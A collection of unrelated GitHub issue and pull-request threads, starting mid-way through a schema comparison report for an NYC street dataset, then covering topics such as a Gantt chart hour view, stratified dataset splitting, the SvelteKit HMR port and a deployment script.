        truck_route_type
        twisted
        xfrom
        xto
        yfrom
        yto
    Left only
        objectid
    Right only
        ogc_fid
    Type differences
        Lblockfaceid
            Left: character varying
            Right: text
        Relectdist
            Left: character varying
            Right: text
        Conparity
            Left: character varying
            Right: text
        Mapto
            Left: character varying
            Right: text
        Mh ri flag
            Left: character varying
            Right: text
        Lcb2010
            Left: character varying
            Right: text
        Segmenttyp
            Left: character varying
            Right: text
        Physicalid
            Left: integer
            Right: double precision
        Lct2010suf
            Left: character varying
            Right: text
        Borobndry
            Left: character varying
            Right: text
        Incexflag
            Left: character varying
            Right: text
        Lgc4
            Left: character varying
            Right: text
        Join id
            Left: character varying
            Right: text
        Legacyid
            Left: character varying
            Right: text
        Lct2010
            Left: character varying
            Right: text
        Rw type
            Left: character varying
            Right: text
        Lcb2000suf
            Left: character varying
            Right: text
        Fcc
            Left: character varying
            Right: text
        Trafdir
            Left: character varying
            Right: text
        Streetcode
            Left: character varying
            Right: text
        Number travel lanes
            Left: character varying
            Right: text
        Lgc2
            Left: character varying
            Right: text
        Ratomicpolygon
            Left: character varying
            Right: text
        Snow priority
            Left: character varying
            Right: text
        Active flag
            Left: character varying
            Right: text
        Rct1990suf
            Left: character varying
            Right: text
        L pd service area
            Left: character varying
            Right: text
        Lcb2020suf
            Left: character varying
            Right: text
        Sandistind
            Left: character varying
            Right: text
        Lgc7
            Left: character varying
            Right: text
        Lgc8
            Left: character varying
            Right: text
        Segcount
            Left: character varying
            Right: text
        Rcb2020
            Left: character varying
            Right: text
        Rzip
            Left: character varying
            Right: text
        Rassmdist
            Left: character varying
            Right: text
        Rct1990
            Left: character varying
            Right: text
        Lcb2010suf
            Left: character varying
            Right: text
        Rboro
            Left: integer
            Right: double precision
        Rcb2010suf
            Left: character varying
            Right: text
        L cd
            Left: character varying
            Right: text
        Lct1990suf
            Left: character varying
            Right: text
        Rschldist
            Left: character varying
            Right: text
        Nypdid
            Left: character varying
            Right: text
        Seqnum
            Left: character varying
            Right: text
        Streetwidth irr
            Left: character varying
            Right: text
        Lgc1
            Left: character varying
            Right: text
        Lct1990
            Left: character varying
            Right: text
        Lsubsect
            Left: character varying
            Right: text
        Rb layer
            Left: character varying
            Right: text
        Rct2010suf
            Left: character varying
            Right: text
        Street
            Left: character varying
            Right: text
        Number total lanes
            Left: character varying
            Right: text
        Lct2000
            Left: character varying
            Right: text
        Llo hyphen
            Left: character varying
            Right: text
        Lgc9
            Left: character varying
            Right: text
        Rct2010
            Left: character varying
            Right: text
        R cd
            Left: character varying
            Right: text
        Lboro
            Left: integer
            Right: double precision
        Lct2000suf
            Left: character varying
            Right: text
        Rcb2010
            Left: character varying
            Right: text
        Curveflag
            Left: character varying
            Right: text
        Nodelevelf
            Left: character varying
            Right: text
        Rlo hyphen
            Left: character varying
            Right: text
        Rcb2020suf
            Left: character varying
            Right: text
        Rct2000
            Left: character varying
            Right: text
        Fdnyid
            Left: character varying
            Right: text
        Truck route type
            Left: character varying
            Right: text
        Lelectdist
            Left: character varying
            Right: text
        Lgc3
            Left: character varying
            Right: text
        Nodelevelt
            Left: character varying
            Right: text
        Safstreetcode
            Left: character varying
            Right: text
        Rcb2000suf
            Left: character varying
            Right: text
        R pd service area
            Left: character varying
            Right: text
        Rct2000suf
            Left: character varying
            Right: text
        Rct2020suf
            Left: character varying
            Right: text
        Segmentid
            Left: character varying
            Right: text
        Rcb2000
            Left: character varying
            Right: text
        Bikelane
            Left: character varying
            Right: text
        Lgc6
            Left: character varying
            Right: text
        Safstreetname
            Left: character varying
            Right: text
        Carto display level
            Left: character varying
            Right: text
        Lcb2020
            Left: character varying
            Right: text
        Posted speed
            Left: character varying
            Right: text
        Lzip
            Left: character varying
            Right: text
        Boe lgc
            Left: character varying
            Right: text
        Lgc5
            Left: character varying
            Right: text
        Mapfrom
            Left: character varying
            Right: text
        Lassmdist
            Left: character varying
            Right: text
        Lct2020suf
            Left: character varying
            Right: text
        Status
            Left: character varying
            Right: text
        Trafsrc
            Left: character varying
            Right: text
        Bike trafdir
            Left: character varying
            Right: text
        Rct2020
            Left: character varying
            Right: text
        Locstatus
            Left: character varying
            Right: text
        Rhi hyphen
            Left: character varying
            Right: text
        Lct2020
            Left: character varying
            Right: text
        Rsubsect
            Left: character varying
            Right: text
        Twisted
            Left: character varying
            Right: text
        Row type
            Left: character varying
            Right: text
        Lcb2000
            Left: character varying
            Right: text
        Nodeidto
            Left: character varying
            Right: text
        Facecode
            Left: character varying
            Right: text
        Rblockfaceid
            Left: character varying
            Right: text
        Specaddr
            Left: character varying
            Right: text
        Nonped
            Left: character varying
            Right: text
        Latomicpolygon
            Left: character varying
            Right: text
        Genericid
            Left: integer
            Right: double precision
        Splitschl
            Left: character varying
            Right: text
        Number park lanes
            Left: character varying
            Right: text
        Lhi hyphen
            Left: character varying
            Right: text
        Nodeidfrom
            Left: character varying
            Right: text
        Splitelect
            Left: character varying
            Right: text
        Featuretyp
            Left: character varying
            Right: text
        Lschldist
            Left: character varying
            Right: text
________________________________________________________________________________
Data comparison
    Compared columns
        (all of them - removed for brevity)
    Left only
        Empty DataFrame
        Columns: [lblockfaceid, xto, relectdist, conparity, mapto, mh_ri_flag, lcb2010, segmenttyp, physicalid, lct2010suf, borobndry, incexflag, lgc4, join_id, legacyid, yfrom, lct2010, toleft, rw_type, yto, fcc, trafdir, xfrom, streetcode, number_travel_lanes, lgc2, ratomicpolygon, snow_priority, toright, radius, active_flag, rct1990suf, l_pd_service_area, fromleft, lcb2020suf, sandistind, lgc7, lgc8, segcount, rcb2020, rzip, rassmdist, rct1990, lcb2010suf, rboro, rcb2010suf, l_cd, lct1990suf, rschldist, nypdid, seqnum, streetwidth_irr, lgc1, arccenterx, lct1990, streetwidth_max, lsubsect, rb_layer, rct2010suf, streetwidth_min, street, number_total_lanes, lct2000, llo_hyphen, lgc9, rct2010, r_cd, lboro, lct2000suf, rcb2010, curveflag, nodelevelf, rlo_hyphen, rcb2020suf, rct2000, fdnyid, truck_route_type, lelectdist, lgc3, nodelevelt, safstreetcode, rcb2000suf, r_pd_service_area, rct2000suf, rct2020suf, segmentid, rcb2000, bikelane, lgc6, safstreetname, carto_display_level, lcb2020, posted_speed, lzip, boe_lgc, lgc5, mapfrom, lassmdist, lct2020suf, status, ...]
        Index: []
    Right only
        Empty DataFrame
        Columns: [lblockfaceid, xto, relectdist, conparity, mapto, mh_ri_flag, lcb2010, segmenttyp, physicalid, lct2010suf, borobndry, incexflag, lgc4, join_id, legacyid, yfrom, lct2010, toleft, rw_type, yto, fcc, trafdir, xfrom, streetcode, number_travel_lanes, lgc2, ratomicpolygon, snow_priority, toright, radius, active_flag, rct1990suf, l_pd_service_area, fromleft, lcb2020suf, sandistind, lgc7, lgc8, segcount, rcb2020, rzip, rassmdist, rct1990, lcb2010suf, rboro, rcb2010suf, l_cd, lct1990suf, rschldist, nypdid, seqnum, streetwidth_irr, lgc1, arccenterx, lct1990, streetwidth_max, lsubsect, rb_layer, rct2010suf, streetwidth_min, street, number_total_lanes, lct2000, llo_hyphen, lgc9, rct2010, r_cd, lboro, lct2000suf, rcb2010, curveflag, nodelevelf, rlo_hyphen, rcb2020suf, rct2000, fdnyid, truck_route_type, lelectdist, lgc3, nodelevelt, safstreetcode, rcb2000suf, r_pd_service_area, rct2000suf, rct2020suf, segmentid, rcb2000, bikelane, lgc6, safstreetname, carto_display_level, lcb2020, posted_speed, lzip, boe_lgc, lgc5, mapfrom, lassmdist, lct2020suf, status, ...]
        Index: []

@fvankrieken
in the dcp_lion report, where'd Columns: [REDACTED] come from?

@fvankrieken
in the dcp_lion report, where'd Columns: [REDACTED] come from?

Me redacting it - it was long, and the columns of the empty dataframe didn't seem particularly infomrative

But you get extra credit, thank you for actually reading them! Very much important and required part of these reviews. As I get in the flow of doing a lot of datasets it wouldn't be too hard for me to miss something


taking too long to return

its taking too long for the function to return true or false on every request.
the code using the result fails while waiting for the response.

Just Found a work around using promises. Thanks
var internetAvailable = require("internet-available");

checkConnectivity=async ()=>{
   await internetAvailable({
       timeout: 5000,
       retries: 2
    }).then(() => {
        return true;
    }).catch((err) => {
        return false;
    });
}


Add hour view mode

This PR adds an option to view tasks in hourly mode.
Just add the hour value after the date and set the view_mode option to Hour.
Example
<script>
        var tasks = [
            {
                start: '2018-10-01 00',
                end: '2018-10-01 05',
                name: 'Redesign website',
                id: "Task 0",
                progress: 20
            },
            {
                start: '2018-10-01 01',
                end: '2018-10-01 08',
                name: 'Write new content',
                id: "Task 1",
                progress: 5,
                dependencies: 'Task 0'
            },
            {
                start: '2018-10-01 07',
                end: '2018-10-01 18',
                name: 'Apply new styles',
                id: "Task 2",
                progress: 10,
                dependencies: 'Task 1'
            }
        ]
        var gantt_chart = new Gantt(".gantt-target", tasks, {
            view_mode: 'Hour',
            language: 'en'
        });
    </script>

Output

Note
The chart may take a long time to load or the page may crash if Hour view mode is used with long tasks that span over multiple years.
@netchampfaris kindly review.

Hello can someone explain how to use this version with the Hour View. The latest vailable version doesn't include it ?
Thanks,
Maarten,

Hi Maarten
Did you figure out how to use this version? I would also like to know.
Regards,
Wayne

this is awesome, any hope getting it in? I'll put in some work for this if needed

Hello can someone explain how to use this version with the Hour View. The latest vailable version doesn't include it ?
Thanks,
Pankti,

The PR is not merged into the master at the moment.
I had to fork the project to merged the PR and use this feature.

Is anyone downloaded this version of library?
How do I get this version?

Is anyone downloaded this version of library?
How do I get this version?

Thank you very much ;). I haven't merged the PR directly as it's old and conflicts have grown, but have used your code to make the commit.


Added stratify option to train_test_split function.

This PR adds stratify option to train_test_split method. I took reference from scikit-learn's StratifiedShuffleSplit class for implementing stratified split and integrated the changes as were suggested by @lhoestq.
It fixes #3452.
@lhoestq Please review and let me know, if any changes are required.

Nice thank you ! This will be super useful :)
Could you also add some tests in test_arrow_dataset.py and add an example of usage in the Example: section of the train_test_split docstring ?

I will try to do it, is there any documentation for adding test cases? I have never done it before.

Thanks for the changes !

I will try to do it, is there any documentation for adding test cases? I have never done it before.

You can just add a function test_train_test_split_startify in test_arrow_dataset.py.
In this function you can define a dataset and make sure that train_test_split with the stratify argument works as expected.
You can do pytest tests/test_arrow_dataset.py::test_train_test_split_startify to run your test.
Feel free to get some inspiration from other tests like test_interleave_datasets for example

I have added tests for stratified train_test_split in test_arrow_dataset.py file inside test_train_test_split_startify function. I have also added example usage with stratify arg in Example: section of the train_test_split docstring.
Results of tests:
(data) nandwalritik@hp:~/datasets$ pytest tests/test_arrow_dataset.py::test_train_test_split_startify -W ignore
============================================================================ test session starts ============================================================================
platform linux -- Python 3.9.5, pytest-7.1.2, pluggy-1.0.0
rootdir: /home/nandwalritik/datasets
plugins: datadir-1.3.1, forked-1.4.0, xdist-2.5.0
collected 1 item

tests/test_arrow_dataset.py .                                                                                [100%]

============================================================================= 1 passed in 0.12s =============================================================================

Thanks a lot !
utils/stratify.py sounds good yes :)

Added all the changes as were suggested and rebased with main.

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.

Hi, I encounter an error when I try to specify the stratify_by_column. However, I have a columns which specific the label of the row as a string. But an error showed when I try to do it. "ValueError: Stratifying by column is only supported for ClassLabel column, and column code is Value.".

Hi @Damon03 , you can change the type of your column to ClassLabel using
ds = ds.class_encode_column(column_name)

then you'll be free to use stratify :)

Thank you so much. It worked.


Return String should be nullable, no?

https://github.com/dart-lang/web/blob/6538aca01c8b3edb00e085d7e349e61f04a746a0/web/lib/src/dom/html.dart#L1281
CC @srujzs

This is similar to https://github.com/dart-lang/web/issues/181. The IDL claims the return type is non-nullable, but naturally it would be nice to coerce missing values to null instead of a cast failure. I'm not sure if the behavior is similar everywhere a getter is declared in the IDL to make that change. The current solution is using has to check for existence.


Change port 24678

Describe the problem
You can't run 2 SvelteKit apps at the same time on development mode without having a Port's conflict.
Describe the proposed solution
An option to change the port 24678 when starting the app on development mode.
Alternatives considered
Cry in Spanish.
Importance
would make my life easier
Additional Information
No response

Duplicate of https://github.com/sveltejs/kit/issues/2020
Use the --port option

Not really a duplicate of that issue, as that's about the port that the main app is served on. But you can use the https://vitejs.dev/config/#server-hmr configuration to control the port the HMR server lives on.

@benmccann This is not duplicated. #2020 is about port 3000, this one is about port 24678

The option already exists. Did you see the comment just above yours? Look at https://vitejs.dev/config/#server-hmr


Remove any pep8 error from Course 1 and 2

Remove any pep8 error from Course 1 and 2.

I can help you with this one.

Ok, no problem. May I suggest you add a few comments on how to run the scripts in data-structures ( phone book one).
Also, I would add those query functions inside the Query class then write a main function who would handle it all.
Also instead of those input() I'd rather use sys.argv or even argparse ;-)
Ok, I will delete the fork then and move on to another project.


index.sqlite is too large

Before submitting your bug report

[ ] I believe this is a bug. I'll try to join the Continue Discord for questions
[X] I'm not able to find an open issue that reports the same bug
[X] I've seen the troubleshooting guide on the Continue Docs

Relevant environment info
- OS:
- Continue version:
- IDE version:
- Model:
- config.json:

Description
index.sqlite is too large ，taking up 50GB of my space in C drive.
To reproduce
No response
Log output
No response

@linnnff have you been using Continue for a long time, with a large codebase, or trying a lot of different embeddings models? I'm trying to better understand which factors are contributing to this.
We store embeddings once for each repo and embeddings provider, unless there's some kind of leak


assetreference: in Classic UI it is unpredictable which web rendition is chosen

If multiple web renditions exist (that is renditions with the cq5dam.web. prefix), then the Classic UI html5smartimage widget uses the first one (by iteration order) for image-cropping. I.e. the crop rectangle coordinates will refer to the dimensions of the first web rendition.
Note that the renditions folder is of type nt:folder and is thus not orderable. In Jackrabbit Oak, however, the iteration order should be stable (this may depend on the persistence used).
In order to provide compatibility with data stored by the html5smartimage widget, the assetreference widget needs to take this into consideration.
In order to provide more stability for future data, it would be desirable to store the "reference dimensions", i.e. the width and height of the rendition used for cropping (and any other transformations).

Exploit the fact that we can find out the about the used rendition via the iteration order.


Created script to automate the deployment of a new release.

The 'deploy-release/deploy.py' is a Python script that automates the steps required to deploy a new release.
After some security checks it copies the necessary files, discarding those which are not needed, in a remp directory, converts .md files to .html fixing links as well, then cretes the zip of the new release.
@sdias I chose to write this in Python because I have it was already available on my computer: I've kept it as a script, but it could be compiled into a standalone deploy.exe.

Hi, good work. I'll need some more time to look at this since I haven't used python before.

@sdias
I've added the compiled standalone version of the script along with the tools and instructions needed to compile it again if needed in the future.
The build folder is a little bit bulky, but it's needed for the exe file to run correctly.
Let me know if you prefer to keep the standalone version or remove it and maintain the Python script only.


AuthorizationModule should provide PermissionProvider

We somehow have to create a module registration where we can inject the PermissionProvider.
Currently in my project my auth package has the permission provider, which requires weird exports.
additionally it doesn't work with with the user module. since auth requires users. if users require auth, we get a cyclic dependency

Addressed via #34, the authorization module has been made global.

Addressed via #34, the authorization module has been made global.